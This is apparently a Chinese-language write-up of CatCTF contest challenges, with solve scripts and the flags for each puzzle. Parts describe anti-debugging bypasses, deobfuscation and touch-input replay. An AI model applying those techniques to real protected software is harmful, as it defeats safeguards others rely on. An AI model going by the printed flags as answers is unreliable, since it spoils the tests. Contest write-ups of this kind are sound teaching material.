if(count % 1000000 == 0 ){
printf("Count:%d\n",count);
}
unsigned char flag[51]={0};
for(int i = 0; i < 50; i++){
// Loop: 100427942
// if((dword_E120[i] & 0xff00)){
// break;
// }
// Loop: 100001958
if(!sub_62E3(dword_E120[i])){
break;
}
flag[i]=dword_E120[i]&0xff;
}
if(memcmp("CatCTF",flag,6) == 0){
puts(flag);
printf("Count:%d\n",count);
break;
}
}
}

PS: 出题时循环次数为705980581,但是线性同余随机数算法出现了循环导致在100427942就出现了flag,若只考虑数组的最低字节,能在100001958得到flag

附:nyancat开源 https://github.com/klange/nyancat

ReadingSection

其实最早的预期解是硬读LLVM IR .txt,因为故意算法设计的很简单,也不是很长,熟悉LLVM IR的选手大概一个多小时可以做出来。后面发现此题可以有更简便的方法。

使用llvm-as可以反序列化IR到.bc文件

1
2
3
PS D:\2022CTF\Myself\ReadingSection> llvm-as .\1.txt -o 1.bc
D:\LLVM\Windows\bin\llvm-as.exe: .\1.txt:9:62: error: constant expression type mismatch: got type '[18 x i8]' but expected '[33 x i8]'
@__const.main.flag = private unnamed_addr constant [33 x i8] c"CAT Hide Your Flag", align 16

会有一个报错,这个数组本来是存的flag,被我改掉了导致长度定义与声明不匹配。随便将其数组内容改为33长度即可。然后llvm-as可以成功编译为bc文件。而后用 clang -c将bc编译为.o对象

1
2
PS D:\2022CTF\Myself\ReadingSection> llvm-as .\1.txt -o 1.bc
PS D:\2022CTF\Myself\ReadingSection> clang -c 1.bc

编译成.o对象后,就可以用IDA打开了,打开后会发现check函数是被加了非标准平坦化的。

然后这就又要用到去混淆神器D810了。把D810插件打开,选用默认规则,再F5,混淆基本被去干净了

可以看到就是一个异或+TEA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <cstdio>
#include <stdlib.h>
#include <windows.h>

union data{
BYTE raw[32];
DWORD data[8];
};

BYTE ciphers[] = {
0xAA, 0x7D, 0x07, 0x7D, 0xB1, 0xF7, 0x80, 0x71, 0xDA, 0xAF, 0x23, 0xE5, 0x10, 0x07, 0x58, 0x57, 0x1E, 0xF7, 0x7D, 0x71, 0xE6, 0x78, 0x74, 0x56, 0x9B, 0xC0, 0x53, 0x11, 0xF3, 0x39, 0x31, 0x2E
};
unsigned int key[4] = { 0x18bc8a17, 0x29d3ce1e, 0x42f740e3, 0x199c7f4a};

void decrypt (DWORD* v, DWORD* k) {
DWORD round = 28;
DWORD delta=0xCA7C7F00;

DWORD v0=v[0], v1=v[1], sum=delta*round, i;
DWORD k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i<round; i++) {
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
}
v[0]=v0; v[1]=v1;
}

int main() {

for(int i=0;i<sizeof(data)/8;++i)
decrypt(&reinterpret_cast<union data*>(ciphers)->data[2*i], reinterpret_cast<DWORD*>(key));

for(int i=0;i<sizeof(data);++i)
printf("0x%02X, ", reinterpret_cast<union data*>(ciphers)->raw[i]);
printf("\n");

// Part2
for(int i=30;i>=0;--i)
ciphers[i] ^= ciphers[i+1];

for(int i=0;i<sizeof(data);++i)
printf("%c", reinterpret_cast<union data*>(ciphers)->raw[i]);
printf("\n");

return 0;
}

StupidOrangeCat2

链接:https://pan.baidu.com/s/1nvAzABW9Fv34xe-WQwmoQw?pwd=21g7 提取码:21g7 --来自百度网盘超级会员V4的分享

The cat did it

设计思路和解法

这里先给师傅们磕头了

可能很多师傅没有看懂这个题目的意思,直接猜出了概率为0%(其实这是修改后的,修改前可能更看不懂 https://www.desmos.com/calculator/wzuskcjd34

本题是我在学习概率论时出的,不过这里作为签到题目减去了复杂的计算只需要稍微的分析一下就可以了。

这里“人”在正态分步的函数图像上行走,(这里是采用了中心极限定理,人数应该够了😶)而函数给到的定义域在`-200之间,猫猫的定义域包含正态函数的定义域的。

那么接下来就很简单了,有概率密度求在x在猫猫横坐标之外的概率。由于只给了+-200之间,之间的多余没有给,对立求一个大约的概率为

\[ P = \lfloor1 - (\Phi(\frac {200-b}a) - \Phi(\frac {-200-b}a)) \rfloor= \lfloor 1-(1-2\Phi(\frac {-200-b}a)) \rfloor=\lfloor2\Phi(\frac {-200-b}a)\rfloor \]

可以得到概率为0%

猫猫镇楼

可能让师傅们做的云里雾里的,再次磕头了,整成烂活了。

其实这里面有BGM的

spaces%252FfgjZFp4NZA2UpGnWN2k8%252Fuploads%252FwjX2bQFO6aTRM30TAoPc%252Fmusic.mp4

BugCat

一、前言

这里给出的是一个预设解,这个解法可能不会是第一次分析该题就可以联想到的,不过却是解题最快的思路,由于详细的思路涉及到出题相关的细节,而且包含许多前置知识点,会在后期更新到如下专栏中,并给出从选手角度来说的预期攻击方案以及从出题人角度对题目的一些分析

出题小记

二、解题方案

打开程序,被要求输入特定字符串,我们简单分析可得到如下信息

  1. 输入内容为flag{xxxxxxxxxxxxxxxxxxxxxxxx},长度为30
  2. 代码内夹杂着大量花指令
  3. 代码注册了VEH异常回调,并在其中布置了4个硬件断点且会在特定情况下修改寄存器的值
  4. 主体代码没有花指令,非常清晰,是对flag括号内的内容进行hashcode,然后与内置值比较

我们首先分析主体代码,会发现如果按这个逻辑计算hashcode,必然存在多解,根据题目描述可知,算法存在BUG,那么注册的异常处理部分应该就是负责修复BUG的存在

这里我们附加程序,处理掉ZwSetInformationThread函数,然后修改ZwCreateThreadEx函数的Flags参数为2(跳过TLS回调),之后在主体代码int2d指令后的代码处下断点,观察调试寄存器,得到四个硬件断点的位置,之后分别在相应硬件断点所对应代码前后下断点,调试执行,根据前后寄存器的变化以及被下断点的代码的原始作用可以得出以下信息

  1. flag内的内容被四个一组进行hashcode的计算
  2. 乘子的值为257
  3. 每次hash异或的值会根据启用断点位置及数量的不同而变化,考虑到是CRC的校验值
  4. 正确的flag计算结果应该从内置的数组下标(从0开始)2处读取

对于寻找CRC校验,我们在可以GetModuleHandleA下断点,可以找到一处被加了大量花指令的代码,简单分析可以知道这里是一处crc校验用代码,这里直接重新载入程序,重设EIP到CRC校验处,在ntdll.LdrxCallInitRoutine的返回处下断点,即可得到正确的CRC校验值

至此,我们得到了解题所需要的所有数据,写个脚本爆破出flag即可

三、解题脚本

最终解题脚本如下,大约在2分钟内即可爆破出正确的flag

flag{bu9CAT+C@P0o-1S_s0-CUTe~}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
hashTable = [0x66BF1BAC, 0x473AC6FC, 0x4433C0D0, 0x289B6CEF, 0x71A8B6EC, 0x53775C73]
flag = []
for i in range(len(hashTable)):
flag.append(b"")
for i1 in range(94):
str1 = chr(i1 + 33)
for i2 in range(94):
str2 = chr(i2 + 33)
for i3 in range(94):
str3 = chr(i3 + 33)
for i4 in range(94):
str4 = chr(i4 + 33)
hash = 0
finalStr = (str1 + str2 + str3 + str4).encode()
for every_char in finalStr:
hash = 257 * hash + every_char
hash ^= 0x052251FF
if hash in hashTable:
flag[hashTable.index(hash)] = finalStr
print(b"".join(flag))

MISC

catnim

nim博弈而已,有兴趣可以了解具体的博弈思路以及选择的思路,只需要确保我拿走的时候所有石头的异或和为0即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
#context.log_level='debug'
def get_pile():
p.recvuntil('Now pile: ')
line=p.recvline()[:-1].decode()
return line.split(' ')
def get_xor(piles):
v=0
for num in piles:
v^=num
print("xor :",v)
return v
def choose(piles):
v=get_xor(piles)
i=0
for num in piles:
if num-(num^v) > 0:
return i,num-(num^v)
i+=1
return None,None
p=remote('223.112.5.156',55068)
p.sendline('N')
start=time.time()
while True:
piles=get_pile()
pilesnum=[int(i) for i in piles]
where,cnt=choose(pilesnum)
print(pilesnum)
s=0
for num in pilesnum:
if num==0:
s+=1
p.sendlineafter('where:',str(where))
p.sendlineafter('count:',str(cnt))
if s==len(pilesnum)-1:
break
piles=get_pile()
print(time.time()-start)
p.interactive()
#print(pilesnum)


p.interactive()

miao~

下载附件得到一个含有音频文件的图片

分离出来一个wav,通过改变频谱可以看到里面有一个CatCTF的字样,那么我们可以猜测这是一个密码

可以尝试关于wav的隐写,是deepsound,使用工具加载文件,提示需要输入密码,那么密码就是CatCTF

得到flag.txt文件,里面有喵呜的字样,猜测是兽语,搜索兽语翻译器兽音译者在线编码解码 - 兽音翻译咆哮体加密解密 (iiilab.com)

得到最后flag

CatCTF{d0_y0u_Hate_c4t_ba3k1ng ? M1ao~}

Peekaboo

躲猫猫,预期解是一个osint题目

通过附件发现水印,是一个qq空间,找到空间后发现有很多二维码(或者说汉信码)

扫一下发现唯一有用的线索:sina.兔*****52258

搜索微博用户兔52258可以找到有关flag的信息

找到用户的王者账号,王者营地搜索对应账号得到本赛季只使用了一个英雄:百里玄策

CatCTF{bailixuance}

MeowMeow

010打开直接看答案

CatCTF{CAT_GOES_MEOW}

CatFlag

只有CatCTF才能出Cat都会拿的flag

cat flag,就能通过猫猫拿到flag了

Windows下PowerShell也能通过猫猫拿flag

Windows下cmd可以打字出flag type flag

什么?你要通过记事本vim010Editor拿flag? 糊你猫脸.png

有部分选手先strings flag,请不要这样做

PS1:出题原理

ANSI escape code

https://en.wikipedia.org/wiki/ANSI_escape_code

控制光标的移动,输出随机字符,输出的量足够多就会有动态效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
FILE = open("flag",'wb')
def writeThings(b):
FILE.write(b)

def MoveLeft(n=1):
writeThings(b'\x1b[C'*n)

def MoveRight(n=1):
writeThings(b'\x1b[D'*n)

FLAG = b' CatCTF{!2023_Will_Be_Special,2022_Was_Not!} '
#flag彩蛋:https://thwiki.cc/%E6%98%8E%E6%97%A5%E4%B9%8B%E7%9B%9B%EF%BC%8C%E6%98%A8%E6%97%A5%E4%B9%8B%E4%BF%97
import random
COUNT = 2022234
randpos=[random.randint(0,len(FLAG)-1) for _ in range(COUNT)]
randchar = [random.randint(0x20,0x7e) for _ in range(COUNT)]
# adjust char

for i in range(len(FLAG)):
pos = COUNT
for j in range(COUNT-1,0,-1):
if(randpos[j] == i):
pos = j
break
randchar[pos] = FLAG[i]

writeThings(b'\n')
POS = 0
for i in range(COUNT):
if(randpos[i] > POS):
MoveLeft(randpos[i]-POS)
elif(randpos[i] < POS):
MoveRight(POS-randpos[i])
writeThings(bytearray([randchar[i]]))
POS = randpos[i]+1

writeThings(b'\n')

PS2:彩蛋

CatPaw

这是作为Misc的压轴题出的,难度较大(Lunatic)

分析文件,观察到是小米手机的备份文件,实际也是ANDROID BACKUP文件,去掉小米的header

https://github.com/nelenkov/android-backup-extractor 解压

分析apk ,可以看到输入的密码md5 hash是8b9b0ad9c324204fac87ae0fc2c630bd

分析lib函数,发现没有实际的调用,有函数 打开并读取文件 "/dev/input/event1" 到自己的目录下

分析 ef/1666666666 发现结构是24byte 对齐

提出所有数据,结合event struct结构体,大致猜测

53,54对应X,Y,58且值为1000为按下,提出所有的按键

这里有选手翻到了kernel底层源码解析event结构体

https://www.kernel.org/doc/Documentation/input/input.txt

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/input-event-codes.h

输入密码时都会弹出安全键盘,因为是小米的备份文件,寻找小米安全键盘布局,能找到一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import struct
from PIL import Image, ImageDraw, ImageFont

image = Image.new("RGB", (1080, 2200), "#00000000")
image =Image.open("keyboard.png")
draw = ImageDraw.Draw(image)
def drawText(x,y,text):
draw.text((x,y+100),text,(0,0,255),text_size = 20)

def cropImage(x,y,id):
y=y+100
S = 50
xa = x - S
ya = y - S
xb = x + S
yb = y + S
if(xa < 0):
xb -= xa
xa = 0
elif(xb > 1080):
xa -= (xb-1080)
xb = 1080
if(ya < 0):
yb -= ya
ya = 0
elif(yb > 2200):
ya -= (yb - 2200)
yb = 2200
crop = image.crop((xa,ya,xb,yb))
crop.save("./keys/%d.png"%id)

with open("1666666666","rb") as f:
data = f.read()


offset = 0
X = 0
Y = 0
count = 0
while(offset < len(data)):
result = struct.unpack_from("<QQHHi",data,offset)
offset += struct.calcsize("<QQHHi")
# 53 X 54 Y
if(result[3] == 58 and result[4] == 1000):
count += 1
#drawText(X,Y,str(count))
cropImage(X,Y,count)
print()
if(result[3] == 53):
print('X',result[4],end=' ')
X = result[4]
if(result[3] == 54):
print('Y',result[4],end=' ')
Y = result[4]

image.save("./test.png")

发现会输入符号,大小写,安全键盘的符号布局怎么搞?

大小写可以观察CatCTF的输入,输入字母时Shift不会灭,有2位选手最后卡在了这里,

CatCTF{the_C4t_!5_REc0rdiN9_$cr34n_by_inPUt_evEN7}

没有分析清楚大小写规律,遗憾

1. 拥有小米手机,可以查看对应的符号布局

恰好有小米手机确实可以偷鸡

2.寻找小米安全键盘的符号布局

没有小米手机好像很难的样子,出题人没找到

3.合理猜测

符号p 出现次数很多,猜测 _

CatCTF{the_C4t_ 5_Rec0rdiN9_ cr33n_by_inPut_evEn7}

发现只差2个,爆破md5就能出了 或者根据语义推测出 ! $

CatCTF{the_C4t_!5_Rec0rdiN9_$cr33n_by_inPut_evEn7}

4.重放?

未曾设想的道路,写入到 /dev/input/event1 应该可行?

要求小米且同型号同屏幕大小手机,很难的辣,不过确实有选手尝试了,并且打出了CatC

然后提示invalid argument

猜测是一次数据太多,建议尝试下分段写入

(然后这名选手事后通过读取数据adb shell input重放了,也是厉害)

也有选手尝试在模拟器上重放,出现了错误,具体原因未验证

CatJump

前言

出题5天,被秒半小时,当时做环境的时候数据忘了清干净,导致被非预期了,原本挺有趣的题目没多少人玩到。 感兴趣的师傅后续也可以试试原有的解题思路,希望可以给各位有些帮助。

出题灵感来源

  1. 一直在玩黑苹果,虽然11代intel已经是黑果的绝唱了,但中间的一些思路倒是很有意思的。
  2. 安装黑果的重点就在于硬件能否被苹果系统识别,因此就有了本题,大致就是通过检测系统的硬件配置,实现一个简单的macOS检测机制。
  3. 选手需要通过oc或者其他方式修改nvram中的内容,让程序识别到该系统的某些配置。

正文

当时预设了2种解题方式

解题思路1

  1. 拿vmdk文件,提取其中的可执行文件进行分析,最终锁定openssl解密的部分,利用题目描述中的「cat_jump」进行解密获得flag。

解题思路2

拿到vmdk,进行仿真挂载,但发现该磁盘无法在ubuntu等预设中进行挂载,因为这里用的是Alpine Linux,并且是Alpine是UEFI,Vmware中一般都是bios引导启动,如果是vmware workstation的话需要在创建完毕后,高级中设置为UEFI启动,即可进入游戏。

进入游戏后,这里有个小脑洞,一般的游戏都会有「退出」模块,一般为「q」,但这里用的是「]」,退出后即可发现读取文件失败了。

读取的是nvram中的一个特定变量,如无法检测到这个变量的话,即使进了系统登录界面也无济于事。

通过opencore做一个引导驱动,在nvram中写入报错中的特定变量名和变量值,将该引导挂载到虚拟机中,我这直接用的U盘创了个ESP分区,把EFI丢进去了。

如果U盘是USB3.1的记得改下兼容性

启动到固件后,选择opencore启动,这样EFI引导就是走的opencore,模拟出的nvram也就能获取到。

最终进入启动界面即可获取flag。

解题思路3(非预期)

  1. strings cat_jump_clean.vmdk | grep CatCTF{
  2. 010编辑搜索
  3. 取证大师提取原始数据
  4. 记事本打开
  5. .....

总之就是磁盘数据没清干净,被一把梭了。

CatCat

rabbit解密,密钥在图片中使用strings搜索password即可找到

将解密结果采用base91解密,采用在线网站(https://ctf.bugku.com/tool/brainfuck)转换Ook,最后解密即可

CatCTF{Th1s_V3ry_cute_catcat!!!}

CatchCat

题目附件给出的是GPS的NMEA格式轨迹数据

最简单的方法就是NMEA转KML可视化还原GPS轨迹

https://www.h-schmidt.net/NMEA/

NMEA转KML之后再可视化就可以了

https://mygeodata.cloud/converter/

为了方便大家识别,这里大大缩短了flag的内容。

CatCTF{GPS_M1ao}

另外一种方法就是写脚本提取数据还原GPS轨迹,大家根据自己的喜好来解决就好啦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import matplotlib.pyplot as plt

data = open('CatchCat.txt', 'r').readlines()

x = []

y = []

for line in data:

if line.strip():

d1, d2 = float(line[17:30]), float(line[33:47])

x.append(d1)

y.append(d2)

plt.scatter(x,y)

plt.show()

CatCTF{GPS_M1ao}

Nepnep 祝你新年快乐啦!

新年快乐!_哔哩哔哩_bilibili

https://www.bilibili.com/video/BV1VM411y7am/?spm_id_from=333.999.0.0&vd_source=fa625999cb95a3474b87f02e1e0f148f

视频评论区置顶,视频最后一帧也有

H4ppy_n3w_y34r